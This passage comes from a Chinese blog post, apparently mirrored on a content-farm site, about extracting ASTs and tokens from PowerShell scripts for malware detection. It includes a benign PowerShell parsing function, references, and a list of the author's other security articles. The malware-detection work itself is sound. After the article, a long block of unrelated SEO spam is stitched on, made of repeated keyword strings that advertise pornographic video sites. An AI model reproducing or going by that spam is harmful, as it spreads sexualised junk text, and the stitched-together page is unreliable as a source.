主函數:讀取CSV文件并提取AST和Token #------------------------------------------------------ $inputCSV = '.\data\data.csv' $outputCSV = '.\data\data_AST_Token.csv' Read_csv_powershell -inputfile $inputCSV -outputfile $outputCSV

最終輸出結果如下圖所示:

同時存儲至本地。


注意,利用上述代碼在對PS文件解析時,可能會報錯誤。查了很多資料都無解決方法。

  • 表達式或語句中包含意外的標記
  • CategoryInfo : NotSpecified: ( : ) [], MethodInvocationException

最后解決發現:是Create會解析Powershell代碼,保證其無語法錯誤才創建代碼塊。這里使用另一種方法替換,即:

  • https://stackoverflow.com/questions/39909021/parsing-powershell-script-with-ast
$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)

完整代碼如下:

function Convert-CodeToAst {param([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps文件名稱)# 構建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的內容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 創建Scipt代碼塊# 報錯:表達式或語句中包含意外的標記# 原因:Create需要保證PS代碼正確# $code = [ScriptBlock]::Create($content)$tokens = $null$errors = $null$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)Write-Output $code# 提取AST$code.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id){# 每級縮進$hierarchy[$id] | ForEach-Object {# 獲取當前AST對象的id$newid = $_.GetHashCode()# 遞歸其子節點(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根對象開始可視化Visualize-Tree -id $code.GetHashCode()Write-Output $resultreturn $result }Convert-CodeToAst -str .\data\beacon

六.總結

寫到這里這篇文章就介紹介紹,希望對您有所幫助。

  • 一.Powershell基礎知識
    1.高威脅
    2.基礎語法
    3.Bypass
  • 二.powershell.one
    1.概念
    2.訪問AST
  • 三.Tokenizing PowerShell Scripts
    1.Token多彩的世界
    2.PSParser 概述
    3.Tokenizing PowerShell
  • 四.Token提取實例
    1.基礎用法
    (1) 提取AST
    (2) 提取Token
    (3) 提取變量和命令列表
    2.批量分析
    3.提取token對應的text
  • 五.自動提取Powershell的AST和Token實例
  • 六.總結

歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2022-03-20 夜于武漢 http://blog.csdn.net/eastmount/ )


能看到這里的讀者,我說聲誠懇的感謝。作者再給一個福利,推薦三個Powershell寶藏網站。

  • https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree
  • https://github.com/lzybkr/ShowPSAst
  • https://github.com/thewhiteninja/deobshell
  • https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer
  • https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.psparser.tokenize?view=powershellsdk-7.0.0


自學篇(鏈接直接跳轉到正文):

  • [網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
  • [網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登錄加密入門筆記
  • [網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
  • [網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
  • [網絡安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
  • [網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
  • [網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
  • [網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
  • [網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
  • [網絡安全自學篇] 十.論文之基于機器學習算法的主機惡意代碼
  • [網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
  • [網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
  • [網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
  • [網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通信(一)
  • [網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
  • [網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
  • [網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
  • [網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
  • [網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
  • [網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
  • [網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
  • [網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
  • [網絡安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
  • [網絡安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
  • [網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
  • [網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
  • [網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
  • [網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防御原理(一)
  • [網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防御原理(二)
  • [網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
  • [網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
  • [網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
  • [網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
  • [網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
  • [網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
  • [網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啟動劫持
  • [網絡安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
  • [網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
  • [網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
  • [網絡安全自學篇] 四十.phpMyAdmin 4.8.1后臺文件包含漏洞復現及詳解(CVE-2018-12613)
  • [網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
  • [網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
  • [網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
  • [網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
  • [網絡安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、進程關閉)
  • [網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
  • [網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
  • [網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及常用DOS命令
  • [網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、注冊表查看
  • [網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
  • [網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
  • [網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
  • [網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
  • [網絡安全自學篇] 五十四.Windows漏洞利用之基于SEH異常處理機制的棧溢出攻擊及shell提取
  • [網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
  • [網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
  • [網絡安全自學篇] 五十七.PE文件逆向之什么是數字簽名及Signtool簽名工具詳解(一)
  • [網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
  • [網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
  • [網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
  • [網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
  • [網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
  • [網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
  • [網絡安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
  • [網絡安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
  • [網絡安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
  • [網絡安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
  • [網絡安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒解析
  • [網絡安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
  • [網絡安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
  • [網絡安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
  • [網絡安全自學篇] 七十二.逆向分析之OllyDbg動態調試工具(一)基礎入門及TraceMe案例分析
  • [網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀
  • [網絡安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
  • [網絡安全自學篇] 七十五.Vulnhub靶機滲透之bulldog信息收集和nc反彈shell(三)
  • [網絡安全自學篇] 七十六.逆向分析之OllyDbg動態調試工具(二)INT3斷點、反調試、硬件斷點與內存斷點
  • [網絡安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
  • [網絡安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
  • [網絡安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
  • [網絡安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、文件包含、過濾繞過、SQL注入)
  • [網絡安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(文件上傳漏洞、冰蝎蟻劍、反序列化phar)
  • [網絡安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
  • [網絡安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
  • [網絡安全自學篇] 八十四.《Windows hk編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
  • [網絡安全自學篇] 八十五.《Windows hk編程技術詳解》之注入技術詳解(全局鉤子、遠線程鉤子、突破Session 0注入、APC注入)
  • [網絡安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
  • [網絡安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
  • [網絡安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
  • [網絡安全自學篇] 八十九.PE文件解析之通過Python獲取時間戳判斷軟件來源地區
  • [網絡安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
  • [網絡安全自學篇] 九十一.阿里云搭建LNMP環境及實現PHP自定義網站IP訪問 (1)
  • [網絡安全自學篇] 九十二.《Windows hk編程技術詳解》之病毒啟動技術創建進程API、突破SESSION0隔離、內存加載詳解(3)
  • [網絡安全自學篇] 九十三.《Windows hk編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)
  • [網絡安全自學篇] 九十四.《Windows hk編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)
  • [網絡安全自學篇] 九十五.利用XAMPP任意命令執行漏洞提升權限(CVE-2020-11107)
與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

国产精品久久久久久久久费观看 | 日韩在线观看影院 | 亚洲精品久久久久久中文传媒 | 久热电影 | 中文在线a在线 | 国产在线p | av在线观| 欧美色操 | 91观看视频 | 国模精品在线 | 成人97视频一区二区 | 国产美女无遮挡永久免费 | 天天操综合| 一区二区欧美激情 | 九色在线视频 | 国产精品69av| 国外av在线 | 99久久综合狠狠综合久久 | 九色视频网址 | 在线播放 一区 | 亚洲日韩精品欧美一区二区 | 97电影手机 | 国产精品免费麻豆入口 | 国产传媒中文字幕 | 亚洲乱码在线 | 欧美成人tv | 国产亚洲精品免费 | 色网站在线| 99久久精品费精品 | 精品亚洲成人 | 麻豆传媒在线免费看 | 亚洲精品国偷拍自产在线观看 | 天天爽天天做 | av资源免费观看 | 91精品国自产拍天天拍 | 天天搞天天| 久久色亚洲 | 91精品国产一区二区在线观看 | 五月婷婷丁香 | 992tv人人网tv亚洲精品 | 一区二区电影在线观看 | 韩国精品一区二区三区六区色诱 | 亚洲91精品 | 久久久精品福利视频 | 久久久精品一区二区 | 国产日本在线播放 | 麻花豆传媒mv在线观看网站 | 国内精品久久久久久中文字幕 | 国产日本三级 | 久久免费中文视频 | 精品在线视频一区 | 另类老妇性bbwbbw高清 | 日韩av影片在线观看 | 国产精品乱码久久久久久1区2区 | 欧美一区二视频在线免费观看 | 在线视频你懂得 | 国产精品wwwwww | 波多野结依在线观看 | 国产日韩精品一区二区三区 | 成人av影院在线观看 | h久久| 中文字幕亚洲在线观看 | 天天激情综合网 | 精品欧美乱码久久久久久 | 在线国产欧美 | 婷婷六月综合网 | 亚洲 成人 欧美 | 国产精品自产拍 | 天天综合色| 久久综合久久伊人 | 国产乱视频 | 亚洲永久精品一区 | 亚洲精品网站 | 欧美国产不卡 | 国产精品av在线免费观看 | 97视频中文字幕 | 91成年视频 | 欧美一级在线看 | 国产只有精品 | 91亚洲国产成人久久精品网站 | 人人插人人看 | 国产精品18久久久久白浆 | 国产精品9999久久久久仙踪林 | 亚洲一区免费在线 | 国产成a人亚洲精v品在线观看 | 国产视频精品网 | 制服丝袜亚洲 | 日韩精品高清视频 | 91成品人影院 | av成人亚洲 | 免费看一及片 | 在线观看中文字幕第一页 | 久草99 | 国产精品1区2区3区在线观看 | 98超碰在线 | 国产美女精彩久久 | av免费看网站 | 日日爽日日操 | 人人爱天天操 | 国内久久久久久 | 国产成人av福利 | 91精品在线免费视频 | 欧美日韩国产一二三区 | 国产精品久久99综合免费观看尤物 | 伊人永久 | 中中文字幕av| 国产精品综合在线 | 99精品一级欧美片免费播放 | 色综合久久中文综合久久牛 | 超碰资源在线 | 精品视频在线播放 | 久久精品欧美 | 一区二区欧美在线观看 | 国产一区二区在线视频观看 | 久久久久久网站 | 色综合久久88色综合天天人守婷 | 五月婷亚洲 | 中文字幕在线看视频国产 | 夜夜视频资源 | 狠狠操狠狠干天天操 | 亚洲午夜久久久久 | 中文字幕一区二区三区乱码在线 | 在线观看小视频 | 成人黄色电影免费观看 | 四虎影视欧美 | 国产综合在线视频 | 五月天激情在线 | av福利电影 | 射久久久| 99视频在线免费播放 | 亚洲亚洲精品在线观看 | 四虎成人精品在永久免费 | 五月激情六月丁香 | 成人黄色电影在线播放 | 午夜性生活片 | 欧美狠狠色 | 五月婷婷综合网 | 国产精品美女久久久免费 | 午夜视频导航 | 亚洲aⅴ在线| 免费在线91| 精品国自产在线观看 | 中文字幕一区二区三区久久蜜桃 | 国产 日韩 在线 亚洲 字幕 中文 | 91色一区二区三区 | 国产美女精品人人做人人爽 | 亚洲午夜精品一区 | 中文字幕乱在线伦视频中文字幕乱码在线 | 国产精品第2页 | 91人人爽久久涩噜噜噜 | 韩日色视频| 黄色国产在线 | 成人免费网视频 | 亚洲 欧美 日韩 综合 | 一区二区三区动漫 | 久久综合免费视频影院 | 97在线观看免费 | 国产无区一区二区三麻豆 | 国产精品乱码久久久久久1区2区 | 美女在线免费视频 | 日韩国产欧美在线视频 | 国产精品久久久久亚洲影视 | 最近最新mv字幕免费观看 | 深爱激情综合 | 99欧美视频 | 97在线观 | 久草在线视频新 | 亚洲精品在线播放视频 | 精品美女在线观看 | 91片黄在线观看 | 亚洲一区二区三区在线看 | 九九免费观看视频 | 日韩城人在线 | 中文理论片 | av免费电影在线观看 | 曰本免费av| 国产第一页在线播放 | 久久久久久久久综合 | 97福利在线| 欧美日韩高清一区二区 国产亚洲免费看 | 午夜精品一区二区三区在线 | 日韩精品中文字幕久久臀 | 国产精品福利一区 | 久久精国产 | 中文字幕在线看视频 | 中文字幕最新精品 | 久久综合一本 | 欧美天堂久久 | 久久精精品视频 | 有码视频在线观看 | 欧美日韩视频在线观看一区二区 | 精品视频中文字幕 | 久艹视频免费观看 | 人人玩人人爽 | 亚洲综合在线一区二区三区 | 在线免费观看视频你懂的 | 天天色天天搞 | 美女av电影| 色综合 久久精品 | 久久在线看 | www.夜色321.com | 精品国产色 | 久久视频在线观看 | www黄在线 | 国产精品av在线 | 亚洲综合色网站 | 国产 在线观看 | 国产精品三级视频 | 亚洲精品视频一二三 | 亚洲一区二区91 | 米奇四色影视 | 日韩二三区| 97视频免费 | 丝袜少妇在线 | 亚洲国产播放 | 久久 亚洲视频 | 麻豆视频在线播放 | 欧美ⅹxxxxxx | 狠狠色狠狠色综合日日92 | 国产一区成人在线 | 日韩影视大全 | 中文字幕国内精品 | 在线看v片成人 | 成人xxxx | 99久久精品电影 | 91精品国产综合久久婷婷香蕉 | 美女福利视频 | 国产裸体永久免费视频网站 | 成人午夜在线观看 | 黄色毛片在线 | 美女网站在线观看 | 91黄色在线观看 | 亚洲精品五月天 | 麻豆国产精品va在线观看不卡 | 国产精品成人品 | 夜夜操综合网 | 91秒拍国产福利一区 | 国产黄色精品视频 | 97超碰在线免费 | 午夜精品久久久久久久99水蜜桃 | 日日插日日干 | 日韩毛片在线一区二区毛片 | 97免费视频在线播放 | 中文字幕在线观看第三页 | 精品亚洲免费 | av韩国在线 | 在线免费视频你懂的 | 国产99在线播放 | 精品免费在线视频 | 欧美日本在线观看视频 | 亚洲一级电影在线观看 | 有码中文字幕在线观看 | 国产精品原创 | 日韩三级在线观看 | 99 色 | 中文字幕4 | 综合精品在线 | 久久精视频 | 久久综合久色欧美综合狠狠 | 偷拍福利视频一区二区三区 | 亚洲一区二区三区在线看 | 91爱爱视频 | 久久久久观看 | 国产91精品看黄网站 | 久久久久在线视频 | 久久伊人八月婷婷综合激情 | 国产韩国日本高清视频 | 深爱激情五月网 | 99精品免费久久久久久久久日本 | 欧美日韩国产mv | 岛国大片免费视频 | 欧美一级久久久 | 日韩视频一区二区三区 | 99精品久久久 | 久久久久女人精品毛片九一 | 91综合视频在线观看 | 97理论片 | 一区二区三区四区在线 | 在线观看av麻豆 | 精品国产福利在线 | 丰满少妇在线 | 国产一区二三区好的 | 久久久久成| 91在线蜜桃臀 | 最近免费中文字幕大全高清10 | 成人在线视| 国产高清在线免费视频 | 超碰在线观看av.com | 国产精品久久久久久久久久久杏吧 | 精品国产乱码久久久久久三级人 | 91av视频免费在线观看 | 96av麻豆蜜桃一区二区 | 亚洲天堂激情 | 久色婷婷 | 综合久久久久久 | 久久久久久久久影视 | 国产麻豆果冻传媒在线观看 | 四虎国产精品免费 | 日韩毛片在线一区二区毛片 | 久草在线资源免费 | 五月天亚洲综合小说网 | 丁香视频全集免费观看 | 久久精品国产精品 | 91精品推荐 | 97超碰在线播放 | 天天干,天天射,天天操,天天摸 | 欧美性性网 | 久久亚洲欧美日韩精品专区 | 日韩久久精品一区二区 | 日韩免费一二三区 | 91精品国产91久久久久久三级 | 欧美va天堂va视频va在线 | 99热这里只有精品8 久久综合毛片 | 91精品国产综合久久婷婷香蕉 | 久久国色夜色精品国产 | 就要干b | 91精品国产99久久久久 | 韩国精品在线观看 | 久草在线国产 | www.日本色| 国产精品综合在线观看 | 99在线精品视频在线观看 | 亚洲精品视频一 | 国产视频在线观看免费 | 天天干天天草天天爽 | 国产又粗又猛又爽又黄的视频免费 | 在线视频18在线视频4k | 成人免费视频网站在线观看 | 二区视频在线观看 | 一级性av| 国内揄拍国内精品 | 欧美极品少妇xxxxⅹ欧美极品少妇xxxx亚洲精品 | 亚洲精品乱码久久久久久9色 | 久久小视频 | 日日夜夜天天射 | 在线免费av网站 | www.久久久.com | 91天堂影院 | 综合激情av | 日韩高清在线一区二区三区 | 日韩中文字幕视频在线观看 | 国产高清免费av | 久久99久久99精品免费看小说 | 国产91精品欧美 | 激情网五月婷婷 | 在线观看av网站 | 天天草天天操 | 国产精品99蜜臀久久不卡二区 | 久久99久国产精品黄毛片入口 | 99久热在线精品视频 | 免费看黄的视频 | 黄色午夜网站 | 成年人免费观看国产 | 在线精品视频在线观看高清 | 在线看国产 | 亚洲欧洲日韩 | 日韩中文三级 | 999久久久久 | 国产精品嫩草影院123 | 久久国产一区二区三区 | 91精品婷婷国产综合久久蝌蚪 | 久久久久亚洲精品中文字幕 | 97超碰中文字幕 | 国产精品欧美久久 | 久久久久国产一区二区三区四区 | 99精品国产成人一区二区 | 2019中文字幕第一页 | 天天天插 | 在线免费黄色av | 超碰人人做 | 国产一线在线 | 色五婷婷 | 91免费国产在线观看 | 麻豆精品视频在线 | 中文字幕av网站 | 在线久热| 伊人成人激情 | 天天操天天操天天干 | 91丨九色丨国产女 | 在线免费视频 你懂得 | 有码中文字幕在线观看 | 国产黄色片免费看 | 鲁一鲁影院 | 久久久久久久网 | 韩日成人av| 欧美黑人xxxx猛性大交 | 国产电影一区二区三区四区 | 中文字幕黄网 | www.亚洲精品在线 | 九九视频在线观看视频6 | 免费在线观看日韩视频 | 久久免费观看少妇a级毛片 久久久久成人免费 | 国产免费精彩视频 | 亚洲成人资源网 | 亚洲综合在线视频 | 日本精品视频免费 | 日韩字幕 | 午夜精品久久久久久久久久久 | 99热手机在线 | 亚洲精品99久久久久中文字幕 | 亚洲v精品 | 西西大胆免费视频 | 久久久精品一区二区三区 | 在线看的av网站 | 九九免费在线观看视频 | 欧美一二三视频 | 探花视频免费观看 | 99国产视频在线 | 91精品久久久久久久久 | 久久久精品久久 | 91在线看黄 | 四虎国产视频 | 国产系列 在线观看 | 超碰97人人干| 一级性av| 就要干b| 日韩在线免费播放 | 久久国产精品久久精品国产演员表 | 中文字幕视频播放 | 婷婷六月色 | 亚洲精品乱码久久久久久9色 | 国产亚洲精品久久久久久久久久久久 | 亚洲福利精品 | 天天干,狠狠干 | 天天天射| 96久久| 日日干干夜夜 | 欧美一区二区在线免费观看 | 久久综合桃花 | 91一区啪爱嗯打偷拍欧美 | 午夜私人影院久久久久 | 成人在线电影观看 | 精品国产黄色片 | 国产精品区二区三区日本 | 99久精品视频 | 中文字幕超清在线免费 | 欧美五月婷婷 | 91精品久久久久久久91蜜桃 | 欧美极品在线播放 | 视频在线观看入口黄最新永久免费国产 | 久久不卡日韩美女 | 久久久久国产精品一区二区 | 夜色成人网 | 天天天天射 | 在线观看视频一区二区三区 | 99久久精品国 | 99久久99久久精品国产片果冰 | 日韩高清国产精品 | 久久婷婷国产色一区二区三区 | 亚洲午夜精品在线观看 | 欧美精品乱码久久久久久按摩 | 久久精品系列 | 又湿又紧又大又爽a视频国产 | 99久久精品久久久久久动态片 | 欧美91视频 | 日本精品久久久久中文字幕5 | 久久精品国产免费 | 久久怡红院 | 国产福利91精品一区二区三区 | av中文字幕网址 | 国产精品久久久久亚洲影视 | 久久久国产精品电影 | 国产久草在线观看 | 日本精品一区二区三区在线播放视频 | 天天做综合网 | 国产视频日本 | 狠狠色综合欧美激情 | www国产在线 | 黄色在线成人 | 国产精品爽爽久久久久久蜜臀 | 久久国产a | 韩国av免费观看 | 日韩中文免费视频 | 在线免费视频你懂的 | 黄色网大全 | 中文字幕永久 | 欧美一区二区三区在线视频观看 | 国产精品久久久久婷婷 | 日韩网站在线看片你懂的 | 夜添久久精品亚洲国产精品 | 久久综合五月婷婷 | 久久再线视频 | 中文字幕高清免费日韩视频在线 | av线上看| 91av在线视频免费观看 | www.eeuss影院av撸 | 欧美日韩在线播放 | 337p日本欧洲亚洲大胆裸体艺术 | 97超碰人人干 | 国产免费国产 | 在线免费视频 你懂得 | 欧美肥妇free | www色综合| 日韩免费区 | 精品嫩模福利一区二区蜜臀 | 精品九九九 | 亚州精品天堂中文字幕 | 成人国产精品一区 | 99久久精品午夜一区二区小说 | 91成人天堂久久成人 | 一区二区三区四区精品视频 | 四虎国产精品免费观看视频优播 | 国产无区一区二区三麻豆 | 美国av大片 | 激情综合六月 | 国产 中文 日韩 欧美 | 欧美精品色 | 精品亚洲一区二区三区 | 欧美另类老妇 | 久草在线免 | 国产视频综合在线 | 色a4yy| 久久久久久久久国产 | 国产视频高清 | 亚洲春色综合另类校园电影 | 中文在线a∨在线 | 色一色在线 | 玖玖在线免费视频 | av中文字幕网址 | 天天爱天天射天天干天天 | 久久永久免费视频 | 麻豆精品传媒视频 | 五月婷婷毛片 | av电影在线不卡 | 亚洲六月丁香色婷婷综合久久 | 91精品麻豆 | 免费精品视频 | 国产色一区 | 国际精品久久 | 国产日韩在线播放 | 99久久久久免费精品国产 | 成人羞羞视频在线观看免费 | 四虎成人在线 | 97视频在线免费观看 | a色网站 | 一级欧美黄 | 亚洲精品国产综合久久 | 欧美国产日韩激情 | 高清av免费看 | 伊人日日干| 国产专区欧美专区 | 久久国产福利 | 911精品视频 | 久久久久久久久精 | 黄色精品在线看 | 中文字幕av全部资源www中文字幕在线观看 | 婷婷六月色 | 亚洲三级在线免费观看 | 一区二区三区www | 亚洲精品免费在线观看 | 久久久精品国产免费观看一区二区 | 久久精品久久久久 | 日韩三区在线观看 | 色婷婷啪啪免费在线电影观看 | 午夜日b视频| 久草在线最新视频 | 中文字幕久久久精品 | 97免费| 天天色天天色 | 91九色视频导航 | 99久久精品费精品 | 精品国内自产拍在线观看视频 | 三级黄色a| 国产成人av电影在线观看 | 国产视频精品免费 | 视频在线91 | 日韩精品无码一区二区三区 | 久久成人精品电影 | 二区视频在线 | 白丝av在线 | 91爱爱免费观看 | 日韩欧美视频一区二区三区 | 久久亚洲区 | 久久一区二区免费视频 | 亚洲精品在线视频观看 | 国产亚洲精品v | 中文字幕在线观看日本 | 美女网站在线看 | 亚洲成人av一区 | 午夜91视频 | 91九色蝌蚪国产 | 在线免费性生活片 | 青青河边草免费观看完整版高清 | 午夜性生活片 | 伊人黄色网 | 99亚洲视频| 久久视频一区二区 | 国产在线 一区二区三区 | 久草在线视频首页 | 久久99精品国产一区二区三区 | 婷婷射五月 | 久久久国产精品人人片99精片欧美一 | 精品福利av | 成人资源在线观看 | 久久国产精品久久w女人spa | 色是在线视频 | 五月婷婷开心 | 国产精品黄色在线观看 | 欧美日韩视频观看 | 婷婷色站 | 亚洲视频 一区 | 欧美做受高潮1 | 狠狠狠色丁香婷婷综合久久88 | 亚洲一二三区精品 | 亚洲人成在线电影 | 国产高清一级 | 91麻豆精品国产 | 日韩三级不卡 | 色综合久久久久综合 | 最近中文字幕在线中文高清版 | 国产精品自产拍在线观看 | 97精品欧美91久久久久久 | 超碰最新网址 | 久久电影网站中文字幕 | 久久视频这里有精品 | 香蕉久久国产 | 久久精品久久99精品久久 | 91香蕉亚洲精品 | 超碰免费久久 | 欧美日韩一区三区 | 一区二区精 | 五月综合网 | 亚洲自拍偷拍色图 | 国产日韩在线播放 | 91精品在线视频观看 | 成人黄色电影在线 | 欧美怡红院 | 久久免费视频在线观看30 | 成年性视频 | 91传媒视频在线观看 | 操操操av| 国产精品一区二区免费在线观看 | 欧美日韩在线免费观看 | 日韩v在线91成人自拍 | 中文字幕a∨在线乱码免费看 | 91视频一8mav | 久久综合久色欧美综合狠狠 | 久久综合福利 | 免费av黄色 | 日韩中文字幕视频在线 | 日韩视频一区二区 | 在线免费av网站 | 九九久| 国产视频在线观看一区 | 黄污污网站 | www.五月天婷婷.com | 日日爱视频 | 四虎成人精品永久免费av | 久久久国产成人 | 97视频入口免费观看 | 国产男女爽爽爽免费视频 | 日韩一区二区三区高清在线观看 | 国产精品系列在线观看 | 国产婷婷精品av在线 | 成人午夜剧场在线观看 | 日韩欧美一区二区在线 | 国产亚洲精品久久久久久无几年桃 | 亚洲精品在线观 | h网站免费在线观看 | 91综合视频在线观看 | 特级西西www44高清大胆图片 | 亚洲国产综合在线 | 狠狠操操| 999久久久久久久久6666 | 亚洲国产精品成人精品 | 日本久久电影网 | av在观看 | 天天综合精品 | 免费观看一级成人毛片 | 久久免费99 | 麻豆精品视频 | 99视频在线观看免费 | 911av视频 | 天天射综合 | 天天操操| 国内精品亚洲 | 